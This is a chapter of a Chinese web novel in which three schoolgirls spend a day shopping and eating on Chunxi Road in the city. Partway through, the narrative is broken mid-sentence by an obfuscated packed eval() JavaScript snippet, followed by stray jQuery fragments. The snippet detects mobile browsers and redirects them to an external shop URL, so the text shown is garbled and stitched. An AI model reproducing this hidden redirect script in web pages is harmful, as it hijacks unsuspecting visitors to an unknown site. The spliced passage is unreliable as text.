“林羽翼!起床了没!”
周末清晨,少女清脆的喊声的安静空旷的校园里扩散开。林羽翼正在阳台上洗漱,她探出脑袋往下看,看见张潇扬站在宿舍楼下的榕树边,踮起脚向她招手。
“就来就来!”林羽翼吐一口泡泡,含糊吼道。
吐出最后一口水,她急冲冲跑下楼。
五月初的气温渐渐蒸腾,春天还没过完,便有了点儿初夏的气息。林羽翼穿着一件轻薄的卡其色长袖卫衣,下搭宽松牛仔裤,张潇扬穿得更清凉,一条裙摆不过膝的黑色软皮质吊带连衣裙,浅灰色腰带系在腰间,尽显优渥的身材比。
张潇扬穿倒是穿了外套,那“外套”却只有右手袖子,一根黑色长皮绳从肩头编织成一个又一个蝴蝶的形状,一直缠绕到袖口,与其说是外套,反倒更像是个美观的摆设。
她的长发微卷,披散在身后,她看向林羽翼时,不经意露出耳畔的黑天鹅耳坠。
“喏,给你带的。”张潇扬抱着手臂,一只手抬起来,勾勾手指,上面挂了一个精致的纸质口袋,“小笼包和豆浆,是在我最喜欢的那家店买的,尝尝?”
见林羽翼没反应,她空着的那只手勾了勾发丝,清浅笑着问:“喂,林小鸟,你看傻了?我不过是稍微打扮一下,你就不认识人了?”
林羽翼看看张潇扬裸露在空气中的左手手臂,看看她白皙纤细的双腿,倒吸一口凉气:
“你……不冷吗?”
见过张潇扬最脆弱的那一面后,不管她打扮得怎样时髦,林羽翼都不觉得有距离感,只是会回想起她生理期疼得发抖,趴在自己背上无声哭泣的模样。
一想到张潇扬看似张扬的皮囊下,藏着的是一个瘦骨嶙峋的脆弱小姑娘,林羽翼就忍不住关心她。
“哈——?”张潇扬勾着头发的手指一下子僵住,眉头费解地皱了皱,随即喊出声,“喂,我打扮了好久诶,好不容易和朋友出去玩,我还化了妆诶!你就这反应?你不觉得很好看吗?不夸夸我吗?”
林羽翼被训得一愣,乖乖地再次上下打量张潇扬,诚恳道:
“的确很好看,可是,真的不冷吗?”
“……”张潇扬吸口气,“不冷!”
林羽翼不太信:“你带外套了吗?要不我回寝室帮你拿一件?你生理期完全过去了吗?穿这么薄真的不会有问题……”
她的话还没说完,就被张潇扬恶狠狠地打断。
“不——用——!车上有衣服!”张潇扬气哄哄地把手上的东西塞给林羽翼,“别说话了!快吃!趁着东西还没凉!”
抱着温热的纸袋,林羽翼闻到里面散发出的诱人香味,浓郁的肉香,混着黄豆豆浆独有的清新豆香味,引得她肚子咕咕叫了几声。
牛皮纸袋非常精致,上面用黑金色字体印着“途记”的字样,林羽翼没听说过这家早餐店,但她看得出着东西一定很贵。
犹豫片刻,林羽翼拆开包装,对张潇扬露出一个笑:“谢谢。”
“不谢。”张潇扬抱着手臂,“你不也帮我带了一周早餐吗?”
张潇扬早上起得晚,通常到教室的时候早自习都快结束了,哪儿有时间去买早饭?以前林羽翼和她不熟,但这周熟了过后,每天早晨都会顺手在食堂给她买一份粥。
纸袋里装着一杯温热的豆浆,一盒小笼包。
豆浆香醇,豆味浓郁,还带着回甜。
小笼包一盒两个,个头中等,皮薄肉厚,林羽翼下意识想用手去拿,又怕弄脏手指,犹豫了一下,干脆直接上嘴,却被张潇扬阻止了。
“你干什么!”张潇扬指指袋子里多余的吸管,“先用吸管喝汤,喝完了再吃。”
“唔,以前没吃过嘛。”林羽翼不害臊地笑了笑,小心地用吸管戳一下小笼包薄薄的表皮,汁水便从里面溢出来。
她试探性吸一口,一双杏眸瞪得发亮。
林羽翼以前喝过最好喝的汤,是去别家吃席时,九大碗里的清蒸排骨汤,林羽翼觉得排骨汤已经是世界上最好喝的汤了,可比起这一口醇厚的高汤,差得太远。
大骨汤底的味道在嘴里扩散开,随即是汤料里的香浓的肉味,夹杂着一丝难以察觉的甜,丝毫不让人觉得腻味,反而鲜香至极。
“怎么样?”张潇扬期待地问。
“好吃!”林羽翼重重点头,“我第一次喝到这么好喝的汤。”
“是嘛,林小鸟,以后跟着我混,带你吃香喝辣。”张潇扬笑。
林羽翼喝完汤,三两口吞下一整颗包子,意犹未尽地舔舔嘴唇。她看着盒子里剩下一个包子,内心无比纠结不舍:
“这一个包子……我能留给师涟吗?”
林羽翼真的很想再吃一个包子,但好不容易遇见这么好吃的东西,她想要和师涟一起分享。这是她们认识近一年来养成的一个小习惯,吃到什么好吃的,看见什么好玩的,总想要分享给对方。
张潇扬看着林羽翼那馋兮兮又努力忍耐的样子,没忍住笑:“吃吧你!我给师涟也准备了一份,在车上的保温箱里。”
说话间,她们已经走到校门口,一辆低调的黑色迈巴赫SUV停在那里。
这时的林羽翼并不认识迈巴赫,甚至不知道SUV这种车型,她只觉得这辆看似不起眼,实则征管车身漆面都反着光的漂亮车子一定很贵,应该、或许……和那辆跑车差不多吧?
开车的人不是开学那天她见过的年轻男人,而是一个文质彬彬的中年男人,林羽翼的脊背肌肉一下子紧绷,拘谨地跟在张潇扬身后。
“陈叔叔,去广都医院后门那条街。”张潇扬替林羽翼拉开车门,随口解释道,“这位是陈叔叔——啧,本来我哥答应了送我们去城里,可他临时反悔了。”
“潇扬,话可不能这么说,你哥他有工作要忙嘛。”陈叔笑呵呵地说。
“我知道我知道,他和我爸一样,现在都是大忙人呐。”张潇扬翘起腿,烦躁地摆摆手。
“潇扬,你这脾气……”陈叔叔开玩笑地对林羽翼说,“同学,你可别被潇扬这脾气给吓到了。”
“怎么会!”林羽翼立即摇头,“潇扬她对我们很好的,我从来没觉得她脾气差。我、还有我们组里的同学,都可喜欢她了。”
林羽翼在长辈面前装乖有一手,三两句话就把陈叔叔说得满脸笑,一旁张潇扬没再说话,但耷拉着的嘴角无声往上翘了翘。
汽车在街道上缓缓行驶,清晨的广都镇就像一个刚刚睡醒的小姑娘,正擦着朦胧睡眼,一点点清醒过来。街道两边已经有零星铺面开了门,主街人行道上偶有行人,街道上车流不多,但交叉路口停满了等客的人力三轮车,空气中弥漫着浅浅的雾气的味道。
师涟已经等在家门口的小巷外了。
林羽翼远远看见她,立刻摇下车窗朝她招手:“师涟——!这儿!”
汽车停在师涟面前。
师涟和前排的陈叔叔打过招呼,随即抬起手勾了勾手指上的塑料袋:“我带了早餐,我们吃完了再出发?”
是茶叶蛋和粥。
林羽翼一怔:“我们刚吃过了。潇扬买的小笼包——给你也留了一份,你吃过早餐了吗?还吃得下吗?”
“吃得下。”师涟先是点点头,随即看一样自己手上的茶叶蛋,“我把它们放回家,正好我爸今天会回来,留给他待会儿吃。”
“不用不用,懒得你跑一趟。”张潇扬忽然喊住她,“没事儿,我还吃得下,林羽翼你呢?我们一起分了呗?”
“行,我也吃得下。”林羽翼打开车门准备下车,被张潇扬扯住衣领拉了回去。
“涟涟,上车。”张潇扬笑着招呼,“在车上吃,免得耽误时间,待会儿晚了进城会堵车。”
“好。”师涟没有拒绝。
张潇扬主动拿起茶叶蛋,打开包装,生疏地剥开蛋壳。茶叶蛋略微刺鼻的气味立马在雅致的黑色商务风格的车厢里扩散开,大概,这是这辆车第一次染上如此鲜活的市井味。
前排,陈叔通过后视镜看见张潇扬小口吃着茶叶蛋的样子,温和地笑出了声。后排三个少女抬头无声对视片刻,也跟着笑了。
……
汽车一路疾驰过宽阔的天府大道,路过市中心广场,最后停在人群熙攘的街道边。陈叔往车窗外指指路:“沿着新华书店的路口往前走,没几步就是春熙路。你们好好玩啊,晚上潇扬打电话,我来接你们。”
“好好好,陈叔晚上见。”张潇扬跳下车,伸个懒腰。
张潇扬打扮得很时髦,她穿着这身衣服走在广都的街上,是会被路人多看几眼的程度,格格不入极了。可是在城市中心的春熙路,打扮得比她还张扬的不算少数。没有谁会向她投去多余的目光,大家都习以为常。
除了打扮时髦靓丽的年轻人,街道上还不乏金发碧眼的外国人,穿着红色僧袍的光头僧人,还有肯德基店铺外,有人打扮成肯德基爷爷,笑眯眯地逗小孩子玩。
从她们下车的位置上天桥,过一条街,才走进春熙路里。
天桥两边,高楼大厦连绵不绝,如擎天的钢筋森林,向下看是交错的马路,接近正午,车辆川流不息,连接成一条条五彩线条。
天桥上同样热闹,除了拥挤的游人,桥上还坐满了摆地摊的小贩——和广都通济桥上卖虎牙的摊贩不同,这里的小贩大多卖的是一些小玩意儿。
一蓝一粉两个彩色的毛绒小人,在箱子里欢快地跳起舞,引来不少游人围观。仔细看才能发现,其实小人儿身上有根细线,被摊贩提着。
还有卖小狗玩具的,毛茸茸的小狗,放在箱子里,“汪汪”叫着往外面冲。
林羽翼对这些小玩意儿毫无兴趣,她又不是小孩了,让她觉得可惜的是,她还没站在天桥上多看看两边的高楼风景,就不得不跟着拥挤的人潮走下楼梯。
“视野真好啊……”林羽翼一边靠着师涟,另一只手牵着张潇扬,脑袋念念不舍地往回望,“站在桥上往远处看,这些高楼真的就像森林一样,如果我以后能住在这里就好了。”
“为什么?”张潇扬问。
“因为这里很繁华很热闹啊。”林羽翼不假思索道,她喜欢热闹的地方。
“这里?很繁华吗?”张潇扬打个哈欠,走路姿态像是回家一样放松,“嗯……比起广都那里,也算挺繁华的吧。你是没见过纽约时代广场,那里才是真正繁华的地方,不夜城,你知道这三个字吗?说的就是纽约。在那里,就算是凌晨,四周的灯光也像白昼一般通明。”
“纽约……美国纽约吗?”
“嗯哼。”张潇扬点头,“下周给你看看照片。”
不夜城……?
林羽翼觉得,蜀都市中心,春熙路的繁华已经离她很遥远了。在世界的另一头,真的会有那么一个地方,繁华到彻夜灯光不息,明亮如昼吗?
林羽翼没有接话,默默地抬头看着四周高楼与人群,悄无声息间,一颗种子深深种在了她的心里。
总有一天,她要到外面的世界看看,看看比蜀都更遥远更繁华的地方,看看张潇扬口中的那座不夜城。
这时的林羽翼大概怎么也想不到,十多年后,当她真的去到纽约,亲眼看到自己向往许久的“不夜城”后,她心里的想法竟然是:
“就这?”
“还不如广都呢。”
这时的她怎么也想象不到,短短数十年时间,村镇般的小城广都能发展成未来与现实相交织的公园城市。就如她怎么也想不到,十来年后的她,会登
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003056|135210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上那么高的山巅,取得那么大的成就。
这时已经接近正午,三人草草地在春熙路上逛了逛,遍随便拐进一家肯德基。店里面人满为患,林羽翼好不容易才抢到角落里三人卡座,又急急忙忙排队去点菜,忙活十来分钟,总算艰难地把全家桶给端到桌上。
炸鸡饱满的香气扑鼻,和早上的小笼包一样诱人。林羽翼咬一口炸鸡,酥脆的表皮在嘴里炸开,白羽鸡独有的带着汁水的肉味随之扩散,再喝一口冒着泡泡的冰可乐,别提有多享受了。
林羽翼吃着,忽然听见旁边传来一阵欢呼,是店里的游乐角,一个七八岁的小孩站在那儿,卡通打扮的“奇奇”为她送上生日蛋糕,家长和别的小朋友坐在旁边,欢呼着鼓掌。
是在过生日啊。
林羽翼看得目不转睛。
她七八岁时的生日,是怎么过的呢?哥哥从镇上买来小蛋糕,点上一根蜡烛,一家三人坐在破旧在堂屋里,她在父亲和哥哥期许又温柔的目光下,吹灭那一根蜡烛。
其实也挺幸福的。
但林羽翼依旧发自内心地小声感慨道:
“现在的小孩……”或者应该说,城里的小孩,“过得真幸福啊。”
毕竟,七八岁的她连肯德基是什么都不知道。
“嗯哼。”张潇扬听见林羽翼在说话,没听清说的是什么,只是本能地嗯了一声。
林羽翼这才注意到,张潇扬这顿饭吃得心不在焉,她面前的炸鸡块只是草草动了几口,仅仅是能填饱肚子的程度,便没有再吃,她撑着下巴,看着窗外的景色发呆。
在林羽翼眼中仿若山珍佳肴的肯德基,对张潇扬毫无吸引力,只是一顿再普通不过的、用来填肚子的快餐罢了,是路边随随便便可以捡到的野草。
……
春熙路其实并不大,街道就只有那么长,半个小时就能从头走到尾,但林羽翼三人在这儿逛了一下午。
吸引人的从来不是街道本身,而是街上各色各样的店铺。
街道入口处的新华书店,街道里数也数不清的服装店,还有一家大型的伊藤洋华堂超市,光是四层楼的大商超,就够她们逛一下午。
张潇扬一路买了不少东西,衣服、香水,还有几种英文标牌的护肤品,最后直到她们三人提不下才没再买。林羽翼则是看什么都稀奇,就算什么也不买,跟在大小姐屁股后面到处逛,看着周围的新奇玩意儿,和师涟聊着天,她已经觉得足够有趣了。
晚饭时间,三个人都逛得精疲力竭,因此,跟着张潇扬走近那家灯光暗沉、装修精雅的西餐厅时,林羽翼心里都没有什么多余的感受了,只想快些坐下来休息。
“吃什么?”张潇扬随手翻着服务员递来的厚重菜单。
“随便。”林羽翼趴在桌上,累得只想睡觉。
“喂,要不要这么敷衍?不就是逛一下午街吗?有这么累?”张潇扬翘起二郎腿,看向桌对面的林羽翼。
“当然了,大小姐,你买的东西都是我在提着,你说我累不累?”林羽翼有气无力。
“好嘛……”张潇扬语气一下子变得心虚,“我和师涟一块儿看菜单,不管你了。”
林羽翼昏沉地趴了会儿,店里的熏香十分助眠,她甚至小憩了会儿,最后被餐盘放在桌上的声音惊醒。
林羽翼困倦地揉揉双眼,看见桌上摆着的三盘牛排,以及三杯绿色的柠檬汽水。她昏沉沉地找筷子,却发现桌上只摆有一副金属刀叉。
师涟和张潇扬已经各自拿起刀叉,熟稔地切牛排。
“左手拿刀……还是右手呢?”林羽翼看看师涟,别扭地学起她的动作,左手拿着叉子用力摁住牛排,右手拿刀切呢么一下——
“嘶!”
她切得太用力,差点没把牛排从盘子里切到外面去。
“吃我的吧。”师涟的那盘牛排已经切成条状,她把自己的盘子推给林羽翼,交换林羽翼的那盘牛排。
师涟切牛排时,动作优雅、轻松,丝毫看不出用力的迹象,却把牛排切得整整齐齐。
林羽翼看得眼巴巴:“师涟你吃过西餐吗?”
师涟点头:“在沿海吃过。”
张潇扬就更不用说了。
“啊……”林羽翼小声哀嚎:“只有我没吃过吗?”
“是是是,就只有你!”桌对面的张潇扬举起叉子笑,“林小鸟,我才发现你手怎么这么笨呢?就算是第一次切牛排,也不至于差点把牛排切飞出去吧?”
林羽翼:“……”
她还没来得及为自己辩解一两句,旁边师涟忽然轻轻笑了:“是啊,几个月都没学会扎头发,也只有你了,林羽翼。”
“我……!”林羽翼一时语塞,耳尖烧得厉害。从去年开始留长发,留到现在,她的头发已经过肩,她却依旧没学会扎头发,总是扎得乱糟糟的,还是得师涟帮她。
“哈?”张潇扬看了眼林羽翼披散的头发,忽然意识到,“你平常头发不是扎得蛮好的吗?是——”
她看向师涟,了然地笑。
“啊啊啊你们别说了别说了!我就是手笨嘛!”林羽翼羞愤得恨不得一头钻进地里。
张潇扬笑了好一会儿,终于止住,她举起柠檬茶杯:“好好好,我们不笑了,来干杯怎么样?下周二你就要去参加作文比赛了吧,我们在这里提前庆祝林大作家作文比赛获奖!”
林羽翼揉揉依旧发烫的脸颊,小声咕哝:“……要是没得奖呢?”
“说什么丧气话?要是没得奖,这顿饭就当做提前安慰你,行了吧!”张潇扬举杯,啧一声,“林羽翼,对自己有点信心行不行?”
师涟举杯,在林羽翼的杯沿边碰出清脆的一声,她的语气无比认真:
“加油。”